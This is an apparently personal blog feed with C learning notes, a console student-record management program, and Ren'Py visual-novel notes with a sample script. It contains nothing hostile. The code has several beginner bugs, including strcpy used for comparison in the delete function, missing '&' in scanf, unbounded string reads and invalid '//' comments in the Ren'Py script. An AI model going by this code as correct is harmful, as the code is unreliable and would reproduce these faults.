class="line">system(&quot;pause&quot;);</span><br><span class="line">return 0;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//系统帮助函数</span><br><span class="line">void help()</span><br><span class="line">&#123;</span><br><span class="line">printf(&quot;\n0.欢迎使用系统帮助！\n&quot;);</span><br><span class="line">printf(&quot;\n1.初次进入系统后,请先选择增加学生信息;\n&quot;);</span><br><span class="line">printf(&quot;\n2.按照菜单提示键入数字代号;\n&quot;);</span><br><span class="line">printf(&quot;\n3.增加学生信息后,切记保存;\n&quot;);</span><br><span class="line">printf(&quot;\n4.谢谢您的使用！\n&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//刷新文件</span><br><span class="line">int flush()&#123;</span><br><span class="line">char filename[LEN + 1];</span><br><span class="line">int i = 0;</span><br><span class="line">printf(&quot;请输入要刷新学生信息的文件名：\n&quot;);</span><br><span class="line">scanf(&quot;%s&quot;, filename);</span><br><span class="line">int j = 0;</span><br><span class="line">FILE * fp;</span><br><span class="line">if ((fp = fopen(filename, &quot;r&quot;)) == NULL) return 0;</span><br><span class="line">//从文件读取信息 </span><br><span class="line">while (fscanf(fp, &quot;%s %s %s %d %d %d %d &quot;, &amp;stu[j].StudentId, &amp;stu[j].StudentName, &amp;stu[j].StudentAge, &amp;stu[j].StudentSex, &amp;stu[j].score[0], &amp;stu[j].score[1], &amp;stu[j].score[2]) == 7) &#123;</span><br><span class="line">j++;</span><br><span class="line">&#125;</span><br><span class="line">n = j;</span><br><span class="line">printf(&quot;刷新成功!!!&quot;);</span><br><span class="line">return n;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//查找学生信息</span><br><span class="line">void seek() /*查找*/</span><br><span class="line">&#123;</span><br><span class="line">int i, item, flag;</span><br><span class="line">char s1[21]; /* 以姓名和学号最长长度+1为准*/</span><br><span class="line">printf(&quot;------------------\n&quot;);</span><br><span class="line">printf(&quot;-----1.按学号查询-----\n&quot;);</span><br><span class="line">printf(&quot;-----2.按姓名查询-----\n&quot;);</span><br><span class="line">printf(&quot;-----3.退出本菜单-----\n&quot;);</span><br><span class="line">printf(&quot;------------------\n&quot;);</span><br><span class="line">while (1)</span><br><span class="line">&#123;</span><br><span class="line">printf(&quot;请选择子菜单编号:&quot;);</span><br><span class="line">scanf(&quot;%d&quot;, &amp;item);</span><br><span class="line">flag = 0;</span><br><span class="line">switch (item)</span><br><span class="line">&#123;</span><br><span class="line">case 1:</span><br><span class="line">printf(&quot;请输入要查询的学生的学号:\n&quot;);</span><br><span class="line">scanf(&quot;%s&quot;, s1);</span><br><span class="line">for (i = 0; i&lt;n; i++)</span><br><span class="line">if (strcmp(s1,stu[i].StudentId) == 0)</span><br><span class="line">&#123;</span><br><span class="line">flag = 1;</span><br><span class="line">printf(&quot;学生学号\t学生姓名\t年龄\t性别\tC语言成绩\t高等数学\t大学英语成绩\n&quot;);</span><br><span class="line">printf(&quot;--------------------------------------------------------------------\n&quot;);</span><br><span class="line">printf(&quot;%s\t%s\t%d\t%6\t%.1f\t%.1f\t%.1f\n&quot;, stu[i].StudentId,stu[i].StudentName,stu[i].StudentAge,stu[i].StudentSex,stu[i].score[0],stu[i].score[1],stu[i].score[2]);</span><br><span class="line">&#125;</span><br><span class="line">if (0 == flag)</span><br><span class="line">printf(&quot;该学号不存在！\n&quot;); break;</span><br><span class="line">case 2:</span><br><span class="line">printf(&quot;请输入要查询的学生的姓名:\n&quot;);</span><br><span class="line">scanf(&quot;%s&quot;, s1);</span><br><span class="line">for (i = 0; i&lt;n; i++)</span><br><span class="line">if (strcmp(stu[i].StudentName, s1) == 0)</span><br><span class="line">&#123;</span><br><span class="line">flag = 1;</span><br><span class="line">printf(&quot;学生学号\t学生姓名\t年龄\t性别\tC语言成绩\t高等数学\t大学英语成绩\n&quot;);</span><br><span class="line">printf(&quot;--------------------------------------------------------------------\n&quot;);</span><br><span class="line">printf(&quot;%s\t%s\t%d\t%c\t%.1f\t%.1f\t%.1f\n&quot;, stu[i].StudentId, stu[i].StudentName, stu[i].StudentAge, stu[i].StudentSex, stu[i].score[0], stu[i].score[1], stu[i].score[2]);</span><br><span class="line">&#125;</span><br><span class="line">if (0 == flag)</span><br><span class="line">printf(&quot;该姓名不存在！\n&quot;); break;</span><br><span class="line">case 3:return;</span><br><span class="line">default:printf(&quot;请在1-3之间选择\n&quot;);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//修改学生信息</span><br><span class="line">void modify() /*修改信息*/</span><br><span class="line">&#123;</span><br><span class="line">int i, item, num = -1;</span><br><span class="line">char sex1, s1[LEN + 1], s2[LEN + 1]; /* 以姓名和学号最长长度+1为准*/</span><br><span class="line">float score1;</span><br><span class="line">printf(&quot;请输入要要修改的学生的学号:\n&quot;);</span><br><span class="line">scanf(&quot;%s&quot;, s1);</span><br><span class="line">for (i = 0; i &lt; n; i++)&#123;</span><br><span class="line">if (strcmp(stu[i].StudentId, s1) == 0)&#123;/*比较字符串是否相等*/</span><br><span class="line">num = i;</span><br><span class="line">printf(&quot;------------------\n&quot;);</span><br><span class="line">printf(&quot;1.修改姓名\n&quot;);</span><br><span class="line">printf(&quot;2.修改年龄\n&quot;);</span><br><span class="line">printf(&quot;3.修改性别\n&quot;);</span><br><span class="line">printf(&quot;4.修改C语言成绩\n&quot;);</span><br><span class="line">printf(&quot;5.修改高等数学成绩\n&quot;);</span><br><span class="line">printf(&quot;6.修改大学英语成绩\n&quot;);</span><br><span class="line">printf(&quot;7.退出本菜单\n&quot;);</span><br><span class="line">printf(&quot;------------------\n&quot;);</span><br><span class="line">while (1)</span><br><span class="line">&#123;</span><br><span class="line">printf(&quot;请选择子菜单编号:&quot;);</span><br><span class="line">scanf(&quot;%d&quot;, &amp;item);</span><br><span class="line">switch (item)</span><br><span class="line">&#123;</span><br><span class="line">case 1:</span><br><span class="line">printf(&quot;请输入新的姓名:\n&quot;);</span><br><span class="line">scanf(&quot;%s&quot;, s2);</span><br><span class="line">strcpy(stu[num].StudentName, s2);</span><br><span class="line">break;</span><br><span class="line">case 2:</span><br><span class="line">printf(&quot;请输入新的年龄:\n&quot;);</span><br><span class="line">scanf(&quot;%d&quot;, stu[num].StudentAge);</span><br><span class="line">break;</span><br><span class="line">case 3:</span><br><span class="line">printf(&quot;请输入新的性别:\n&quot;);</span><br><span class="line">scanf(&quot;%s&quot;, &amp;sex1);</span><br><span class="line">stu[i].StudentSex = sex1;</span><br><span class="line">break;</span><br><span class="line">case 4:</span><br><span class="line">printf(&quot;请输入新的C语言成绩:\n&quot;);</span><br><span class="line">scanf(&quot;%f&quot;, &amp;score1);</span><br><span class="line">stu[num].score[0] = score1;</span><br><span class="line">break;</span><br><span class="line">case 5:</span><br><span class="line">printf(&quot;请输入新的高等数学成绩:\n&quot;);</span><br><span class="line">scanf(&quot;%f&quot;, &amp;score1);</span><br><span class="line">stu[num].score[1] = score1;</span><br><span class="line">break;</span><br><span class="line">case 6:</span><br><span class="line">printf(&quot;请输入新的大学英语成绩:\n&quot;);</span><br><span class="line">scanf(&quot;%f&quot;, &amp;score1);</span><br><span class="line">stu[num].score[2] = score1;</span><br><span class="line">break;</span><br><span class="line">case 7:return;</span><br><span class="line">default:printf(&quot;请在1-7之间选择\n&quot;);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">printf(&quot;修改完毕！请及时保存！\n&quot;);</span><br><span class="line">&#125;</span><br><span class="line">else&#123;</span><br><span class="line">printf(&quot;没有该学生学号!!!&quot;);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void sort()//按学号排序</span><br><span class="line">&#123;</span><br><span class="line">int i, j, k, *p, *q, s;</span><br><span class="line">char temp[LEN + 1], ctemp;</span><br><span class="line">float ftemp;</span><br><span class="line">for (i = 0; i&lt;n - 1; i++)</span><br><span class="line">&#123;</span><br><span class="line">for (j = n - 1; j&gt;i; j--)</span><br><span class="line">if (strcmp(stu[j - 1].StudentId, stu[j].StudentId)&gt;0)</span><br><span class="line">&#123;</span><br><span class="line">strcpy(temp, stu[j - 1].StudentId);</span><br><span class="line">strcpy(stu[j - 1].StudentId, stu[j].StudentId);</span><br><span class="line">strcpy(stu[j].StudentId, temp);</span><br><span class="line">strcpy(temp, stu[j - 1].StudentName);</span><br><span class="line">strcpy(stu[j - 1].StudentName, stu[j].StudentName);</span><br><span class="line">strcpy(stu[j].StudentName, temp);</span><br><span class="line">ctemp = stu[j - 1].StudentSex;</span><br><span class="line">stu[j - 1].StudentSex = stu[j].StudentSex;</span><br><span class="line">stu[j].StudentSex = ctemp;</span><br><span class="line">p = &amp;stu[j - 1].StudentAge;</span><br><span class="line">q = &amp;stu[j].StudentAge;</span><br><span class="line">s = *q;</span><br><span class="line">*q = *p;</span><br><span class="line">*p = s;</span><br><span class="line">for (k = 0; k&lt;3; k++)</span><br><span class="line">&#123;</span><br><span class="line">ftemp = stu[j - 1].score[k];</span><br><span class="line">stu[j - 1].score[k] = stu[j].score[k];</span><br><span class="line">stu[j].score[k] = ftemp;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//添加学生信息函数</span><br><span class="line">void insert() /*插入函数*/</span><br><span class="line">&#123;</span><br><span class="line">int i = n, j, flag;</span><br><span class="line">printf(&quot;请输入待增加的学生数:\n&quot;);</span><br><span class="line">scanf(&quot;%d&quot;, &amp;m);</span><br><span class="line">if (m &gt; 0)&#123;</span><br><span class="line">do</span><br><span class="line">&#123;</span><br><span class="line">flag = 1;</span><br><span class="line">while (flag)</span><br><span class="line">&#123;</span><br><span class="line">flag = 0;</span><br><span class="line">printf(&quot;请输入第%d位学生的学号:\n&quot;, i + 1);</span><br><span class="line">scanf(&quot;%s&quot;, stu[i].StudentId);</span><br><span class="line">for (j = 0; j &lt; i; j++)&#123;</span><br><span class="line">if (strcmp(stu[i].StudentId, stu[j].StudentId) == 0)&#123;</span><br><span class="line">printf(&quot;该学号已存在，请重新输入！\n&quot;);</span><br><span class="line">flag = 1;</span><br><span class="line">break;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">printf(&quot;请输入第%d 个学生的姓名:\n&quot;, i+1);</span><br><span class="line">scanf(&quot;%s&quot;, stu[i].StudentName);</span><br><span class="line">printf(&quot;请输入第%d 个学生的年龄:\n&quot;, i+1);</span><br><span class="line">scanf(&quot;%d&quot;, &amp;stu[i].StudentAge);</span><br><span class="line">printf(&quot;请输入第%d 个学生的性别:\n&quot;, i+1);</span><br><span class="line">scanf(&quot; %c&quot;, &amp;stu[i].StudentSex);</span><br><span class="line">printf(&quot;请输入第%d 个学生的C语言成绩\n&quot;,i+1);</span><br><span class="line">scanf(&quot;%f&quot;, &amp;stu[i].score[0]);</span><br><span class="line">printf(&quot;请输入第%d 个学生的高等数学成绩:\n&quot;, i+1);</span><br><span class="line">scanf(&quot;%f&quot;, &amp;stu[i].score[1]);</span><br><span class="line">printf(&quot;请输入第%d 个学生的大学英语成绩:\n&quot;, i+1);</span><br><span class="line">scanf(&quot;%f&quot;, &amp;stu[i].score[2]);</span><br><span class="line">if (0 == flag)&#123;</span><br><span class="line">i++;</span><br><span class="line">&#125;</span><br><span class="line">&#125; while (i&lt;n + m);</span><br><span class="line">&#125;</span><br><span class="line">n += m;</span><br><span class="line">printf(&quot;学生信息增加完毕！！！\n&quot;);</span><br><span class="line">system(&quot;pause&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//删除学生信息函数</span><br><span class="line">void del()</span><br><span class="line">&#123;</span><br><span class="line">int i, j, flag = 0;</span><br><span class="line">char s1[LEN + 1];</span><br><span class="line">printf(&quot;请输入要删除学生的学号:\n&quot;);</span><br><span class="line">scanf(&quot;%s&quot;, s1);</span><br><span class="line">for (i = 0; i &lt; n; i++)&#123;</span><br><span class="line">if (strcpy(stu[i].StudentId, s1) == 0)&#123;</span><br><span class="line">flag = 1;</span><br><span class="line">//要删除学生后面的学生往前移一位</span><br><span class="line">for (j = i; j &lt; n - 1; j++)&#123;</span><br><span class="line">stu[j] = stu[j + 1];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">//查找失败</span><br><span class="line">if (0 == flag)&#123;</span><br><span class="line">printf(&quot;该学号不存在!!!\n&quot;);</span><br><span class="line">&#125;</span><br><span class="line">if (1 == flag)&#123;</span><br><span class="line">printf(&quot;删除成功！！！&quot;);</span><br><span class="line">//删除成功，学生人数减1</span><br><span class="line">n--;</span><br><span class="line">&#125;</span><br><span class="line">system(&quot;pause&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//显示全部数据信息</span><br><span class="line">void display()</span><br><span class="line">&#123;</span><br><span class="line">int i;</span><br><span class="line">printf(&quot;共有%d位学生的信息:\n&quot;, n);</span><br><span class="line">if (0 != n)</span><br><span class="line">&#123;</span><br><span class="line">printf(&quot;学生学号 \t学生姓名 \t年龄   \t性别   \tC语言成绩\t高等数学 \t大学英语成绩\n&quot;);</span><br><span class="line">printf(&quot;--------------------------------------------------------------------\n&quot;);</span><br><span class="line">for (i = 0; i&lt;n; i++)</span><br><span class="line">&#123;</span><br><span class="line">printf(&quot;%s \t%s \t%d   \t%c   \t%.1f\t%.1f \t%.1f\n&quot;, stu[i].StudentId, stu[i].StudentName, stu[i].StudentAge, stu[i].StudentSex, stu[i].score[0],stu[i].score[1],stu[i].score[2]);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">system(&quot;pause&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void save()&#123;</span><br><span class="line">int i;</span><br><span class="line">FILE *fp;</span><br><span class="line">char filename[LEN + 1];</span><br><span class="line">printf(&quot;请输入要保存的文件名：\n&quot;);</span><br><span class="line">scanf(&quot;%s&quot;, filename);</span><br><span class="line">fp = fopen(filename, &quot;w&quot;);</span><br><span class="line">for (i = 0; i &lt; n; i++)&#123;</span><br><span class="line">fprintf(fp, &quot;%s%s%d%c%.lf%.lf%.lf\n&quot;, stu[i].StudentId, stu[i].StudentName, stu[i].StudentAge, stu[i].StudentSex,</span><br><span class="line">stu[i].score[0], stu[i].score[1], stu[i].score[2]);</span><br><span class="line">&#125;</span><br><span class="line">printf(&quot;保存成功！！！\n&quot;);</span><br><span class="line">fclose(fp);</span><br><span class="line">system(&quot;pause&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">void menu()/* 界面*/</span><br><span class="line">&#123;</span><br><span class="line">int num;</span><br><span class="line">printf(&quot; \n\n                    \n\n&quot;);</span><br><span class="line">printf(&quot;  ******************************************************\n\n&quot;);</span><br><span class="line">printf(&quot;  *                学生信息管理系统                    *\n \n&quot;);</span><br><span class="line">printf(&quot;  ******************************************************\n\n&quot;);</span><br><span class="line">printf(&quot;*********************系统功能菜单*************************       \n&quot;);</span><br><span class="line">printf(&quot;     ----------------------   ----------------------   \n&quot;);</span><br><span class="line">printf(&quot;     *********************************************     \n&quot;);</span><br><span class="line">printf(&quot;     * 0.系统帮助及说明  * *  1.刷新学生信息   *     \n&quot;);</span><br><span class="line">printf(&quot;     *********************************************     \n&quot;);</span><br><span class="line">printf(&quot;     * 2.查询学生信息    * *  3.修改学生信息   *     \n&quot;);</span><br><span class="line">printf(&quot;     *********************************************     \n&quot;);</span><br><span class="line">printf(&quot;     * 4.增加学生信息    * *  5.按学号删除信息 *     \n&quot;);</span><br><span class="line">printf(&quot;     *********************************************     \n&quot;);</span><br><span class="line">printf(&quot;     * 6.显示当前信息    * *  7.保存当前学生信息*     \n&quot;);</span><br><span class="line">printf(&quot;     ********************** **********************     \n&quot;);</span><br><span class="line">printf(&quot;     * 8.退出系统        *                            \n&quot;);</span><br><span class="line">printf(&quot;     **********************                            \n&quot;);</span><br><span class="line">printf(&quot;     ----------------------   ----------------------                           \n&quot;);</span><br><span class="line">printf(&quot;请选择菜单编号:&quot;);</span><br><span class="line">scanf(&quot;%d&quot;, &amp;num);</span><br><span class="line">switch (num)</span><br><span class="line">&#123;</span><br><span class="line">case 0:help(); break;</span><br><span class="line">case 1:flush(); break;</span><br><span class="line">case 2:seek(); break;</span><br><span class="line">case 3:modify(); break;</span><br><span class="line">case 4:insert(); break;</span><br><span class="line">case 5:del(); break;</span><br><span class="line">case 6:display(); break;</span><br><span class="line">case 7:save(); break;</span><br><span class="line">case 8:</span><br><span class="line">k = 0; </span><br><span class="line">printf(&quot;即将退出程序!\n&quot;);</span><br><span class="line">break;</span><br><span class="line">default:printf(&quot;请在0-8之间选择\n&quot;);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>http://misaka10013.cn/p/325538665.html</id>
    <link href="http://misaka10013.cn/p/325538665.html"/>
    <published>2026-07-10T03:34:35.000Z</published>
    <summary>
      <![CDATA[<h2 id="📋-知识地图"><a href="#📋-知识地图" class="headerlink" title="📋 知识地图"></a>📋 知识地图</h2><blockquote>
<p><strong>说明</strong>：✅ &#x3D; 已有覆盖（可继续深化）　⬜ &#x3D; 待扩充</p>
</blockquote>
<h3 id="一、语言基础"><a href="#一、语言基础" class="headerlink" title="一、语言基础"></a>一、语言基础</h3>]]>
    </summary>
    <title>C语言学习笔记</title>
    <updated>2026-09-15T13:08:39.430Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="知识库" scheme="http://misaka10013.cn/categories/knowledge-base/"/>
    <category term="学习笔记" scheme="http://misaka10013.cn/tags/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="编程" scheme="http://misaka10013.cn/tags/%E7%BC%96%E7%A8%8B/"/>
    <category term="游戏开发" scheme="http://misaka10013.cn/tags/%E6%B8%B8%E6%88%8F%E5%BC%80%E5%8F%91/"/>
    <content>
      <![CDATA[<h2 id="📋-知识地图"><a href="#📋-知识地图" class="headerlink" title="📋 知识地图"></a>📋 知识地图</h2><blockquote><p><strong>说明</strong>：✅ &#x3D; 已有覆盖（可继续深化）　⬜ &#x3D; 待扩充</p></blockquote><h3 id="一、Ren’Py-引擎基础"><a href="#一、Ren’Py-引擎基础" class="headerlink" title="一、Ren’Py 引擎基础"></a>一、Ren’Py 引擎基础</h3><ul><li>✅ Ren’Py 是什么（基于 Python 的跨平台视觉小说引擎）</li><li>⬜ 安装与环境搭建（SDK 下载、项目创建、启动器使用）</li><li>⬜ 项目目录结构详解（game&#x2F; &#x2F; images&#x2F; &#x2F; gui&#x2F; &#x2F; screens.rpy &#x2F; options.rpy）</li><li>⬜ Ren’Py 版本管理（8.x vs 7.x 差异）</li></ul><h3 id="二、剧本脚本（Script）核心"><a href="#二、剧本脚本（Script）核心" class="headerlink" title="二、剧本脚本（Script）核心"></a>二、剧本脚本（Script）核心</h3><ul><li>✅ 角色定义（define Character）</li><li>✅ 对话系统（say 语句）</li><li>✅ 标签跳转（label &#x2F; jump &#x2F; call &#x2F; return）</li><li>✅ Python 嵌入（$ 前缀、Python 块）</li><li>✅ 变量与条件判断（default &#x2F; if 语句）</li><li>⬜ 多语言 &#x2F; 翻译系统（translation 文件生成与管理）</li><li>⬜ 剧本分支与多结局管理</li><li>⬜ 章节拆分与多 .rpy 文件组织</li></ul><h3 id="三、图像与显示系统"><a href="#三、图像与显示系统" class="headerlink" title="三、图像与显示系统"></a>三、图像与显示系统</h3><ul><li>✅ 图像定义（image）与显示（show &#x2F; scene &#x2F; hide）</li><li>✅ 图像属性系统（tag + attribute）</li><li>✅ 位置控制（at left &#x2F; at right &#x2F; 自定义位置）</li><li>✅ 转场特效（with fade &#x2F; with dissolve &#x2F; 自定义转场）</li><li>⬜ Live2D &#x2F; Spine 动态立绘集成</li><li>⬜ 图层（layer）体系深入</li><li>⬜ 动态图像（ATL：Animation and Transformation Language）</li><li>⬜ 视频播放（movie 显示组件）</li><li>⬜ 摄像机控制与画面变换</li></ul><h3 id="四、音频系统"><a href="#四、音频系统" class="headerlink" title="四、音频系统"></a>四、音频系统</h3><ul><li>⬜ BGM 播放与控制（play music &#x2F; stop music &#x2F; 淡入淡出）</li><li>⬜ 音效（sound vs voice 的区别）</li><li>⬜ 音频格式支持（ogg &#x2F; mp3 &#x2F; wav &#x2F; opus）</li><li>⬜ 多条音轨混合与音量控制</li></ul><h3 id="五、菜单与-UI-系统"><a href="#五、菜单与-UI-系统" class="headerlink" title="五、菜单与 UI 系统"></a>五、菜单与 UI 系统</h3><ul><li>✅ 基础选项菜单（menu）</li><li>✅ 条件选项（if 控制菜单项显示）</li><li>⬜ 自定义 GUI 样式（gui.rpy 详细配置）</li><li>⬜ Screen 语言系统（screen &#x2F; hbox &#x2F; vbox &#x2F; textbutton &#x2F; bar 等）</li><li>⬜ 存档&#x2F;读档界面定制</li><li>⬜ 设置界面（音量、全屏、文本速度）定制</li><li>⬜ 自定义对话框外观</li><li>⬜ 画廊（CG Gallery）与音乐室实现</li><li>⬜ 流程图&#x2F;关系图界面</li></ul><h3 id="六、存档与持久化"><a href="#六、存档与持久化" class="headerlink" title="六、存档与持久化"></a>六、存档与持久化</h3><ul><li>⬜ 存档机制原理（save &#x2F; load &#x2F; autosave）</li><li>⬜ 持久化变量（persistent）与多周目数据</li><li>⬜ 存档兼容性（版本升级后存档不丢失）</li></ul><h3 id="七、Python-集成与高级脚本"><a href="#七、Python-集成与高级脚本" class="headerlink" title="七、Python 集成与高级脚本"></a>七、Python 集成与高级脚本</h3><ul><li>⬜ Python 代码块（init python &#x2F; python early）</li><li>⬜ 自定义 Python 类与 Ren’Py 交互</li><li>⬜ 外部 Python 包的使用</li><li>⬜ 网络请求与在线功能（爬虫集成、排行榜等）</li><li>⬜ 小游戏嵌入（用 Screen + Python 实现）</li></ul><h3 id="八、动画与特效"><a href="#八、动画与特效" class="headerlink" title="八、动画与特效"></a>八、动画与特效</h3><ul><li>⬜ ATL（动画变换语言）详解</li><li>⬜ transform 自定义动画</li><li>⬜ 粒子效果与屏幕特效</li><li>⬜ 过场动画（opening &#x2F; ending movie）</li></ul><h3 id="九、打包与发布"><a href="#九、打包与发布" class="headerlink" title="九、打包与发布"></a>九、打包与发布</h3><ul><li>⬜ Windows &#x2F; macOS &#x2F; Linux 打包</li><li>⬜ Android 打包（配置签名、Google Play 上架）</li><li>⬜ Web 版构建（HTML5 导出）</li><li>⬜ itch.io 发布流程</li><li>⬩ Steam 上架流程</li><li>⬜ 版本更新与 DLC 管理</li></ul><h3 id="十、素材制作管线"><a href="#十、素材制作管线" class="headerlink" title="十、素材制作管线"></a>十、素材制作管线</h3><ul><li>⬜ 立绘规格与导出规范（分辨率、格式、分层）</li><li>⬜ 背景素材制作要点</li><li>⬜ UI 切图规范</li><li>⬜ 字体授权与多语言字体选择</li><li>⬜ 音效&#x2F;BGM 资源获取渠道</li></ul><h3 id="十一、实战项目"><a href="#十一、实战项目" class="headerlink" title="十一、实战项目"></a>十一、实战项目</h3><ul><li>✅ 御坂游戏项目（早期 Demo 计划）</li><li>⬜ 完整短篇 GAL 从零开发记录</li></ul><h1 id="Ren’Py作用"><a href="#Ren’Py作用" class="headerlink" title="Ren’Py作用"></a>Ren’Py作用</h1><p>Ren’Py是以python编译的支持安卓、pc、web的多平台GALgame开发引擎，具有脚本简单、支持广等优点。</p><h1 id="脚本编辑"><a href="#脚本编辑" class="headerlink" title="脚本编辑"></a>脚本编辑</h1><h2 id="script-rpy脚本"><a href="#script-rpy脚本" class="headerlink" title="script.rpy脚本"></a>script.rpy脚本</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line">define s = Character(&#x27;希尔维亚&#x27;, color=&quot;#c8ffc8&quot;)</span><br><span class="line">define w = Character(&#x27;我&#x27;, color=&quot;#c8c8ff&quot;)  //定义角色名和角色名颜色</span><br><span class="line">define e = Character(&quot;艾琳&quot;, image=&quot;eileen&quot;)  //定义了角色图片</span><br><span class="line">define p = Character(&quot;player_name&quot;, dynamic=True)  //从一个变量中获取角色名称</span><br><span class="line">default wodouyao = False  //后宫flag</span><br><span class="line"></span><br><span class="line">label start:  //label语句，用于剧情块。此处创建了start标签，是“start game”游戏入口。</span><br><span class="line"></span><br><span class="line">    scene bg meadow  //scene清空所有图像，后面两个参数是tag标签（文件名）和属性（多个对应属性）。bg习惯指背景图片。图片输出命名规律如bg meadow.jpg、bg uni.jpg。</span><br><span class="line">    </span><br><span class="line">    \# 这是一条注释。</span><br><span class="line">    </span><br><span class="line">    //图像默认居中相接于底部</span><br><span class="line">    </span><br><span class="line">    with fade  //with转场标签，后方参数为转场样式。此处是褪色。</span><br><span class="line"></span><br><span class="line">    &quot;希尔维亚&quot; &quot;嗨！今天的课怎么样？&quot;</span><br><span class="line">    </span><br><span class="line">    play music &quot;illurock.ogg&quot;  //播放音乐</span><br><span class="line"></span><br><span class="line">    &quot;我&quot; &quot;挺好的……&quot;  //say语句，第一个参数是说话角色，第二个参数是正在说的话。**“\”**反斜杠是转义符。</span><br><span class="line">    </span><br><span class="line">    e happy &quot;不过这都是过去的事了。&quot;  //等价于show eileen happy</span><br><span class="line">    e @ happy &quot;虽然还挺有趣的。&quot;  // `@`表示临时改变，此句之后变回去</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    &quot;我当然不会承认，上课的时候内容只是左耳进右耳出。&quot;  //内心所想？或**旁白**？</span><br><span class="line">    </span><br><span class="line">    stop music</span><br><span class="line">    play sound &quot;effect.ogg&quot;  //音效，不会循环播放</span><br><span class="line"></span><br><span class="line">    w &quot;你现在要回家了吗？要不要跟我一起走？&quot;</span><br><span class="line"></span><br><span class="line">    s &quot;当然！&quot;</span><br><span class="line">    </span><br><span class="line">    show sylvie green smile  //标签为sylvie的图片，后两个为属性。忽略图片扩展名。</span><br><span class="line">    with dissolve  //溶解</span><br><span class="line"></span><br><span class="line">    &quot;她把脸转向我，上面挂着微笑。她看起来兴致高昂。我觉得自己刚才的紧张情绪已经消散。&quot;</span><br><span class="line"></span><br><span class="line">    &quot;我得问问她！&quot;</span><br><span class="line"></span><br><span class="line">    m &quot;嗯呣……你是否可以……&quot;</span><br><span class="line"></span><br><span class="line">    m &quot;你是否可以做我的视觉小说画师？&quot;</span><br><span class="line"></span><br><span class="line">    show sylvie green surprised  //同标签，将自动替换之前的，常用于表现角色表情变换</span><br><span class="line"></span><br><span class="line">    &quot;沉默。&quot;</span><br><span class="line">    </span><br><span class="line">    s &quot;我立刻去办！&quot;</span><br><span class="line"></span><br><span class="line">    hide sylvie  //隐藏该图形，角色消失</span><br><span class="line">    pause 3.0  //暂停3秒，不指定时间，则等待鼠标点击</span><br><span class="line">    </span><br><span class="line">    show sylvie green sad</span><br><span class="line">    </span><br><span class="line">    s &quot;你为什么那么熟练啊！&quot;</span><br><span class="line">    </span><br><span class="line">    show sylvie green smile at right  //图像靠左。right等关键词可自定义。</span><br><span class="line">    </span><br><span class="line">menu:</span><br><span class="line"></span><br><span class="line">    &quot;你们都是我的翅膀！&quot;:</span><br><span class="line">        jump badend  //可任一跳转到其他rpy文件中</span><br><span class="line"></span><br><span class="line">    &quot;我能有什么办法，不是我花心，是tm船裂了啊！&quot;:</span><br><span class="line">        jump book</span><br><span class="line">    </span><br><span class="line">label badend：</span><br><span class="line"></span><br><span class="line">$ wodouyao = True  //后宫选项被选中，赋值。$表示py语句。</span><br><span class="line">    </span><br><span class="line">    &quot;.:. Bad结局预定&quot;</span><br><span class="line"></span><br><span class="line">    return  //结局</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">if wodouyao:</span><br><span class="line"></span><br><span class="line">    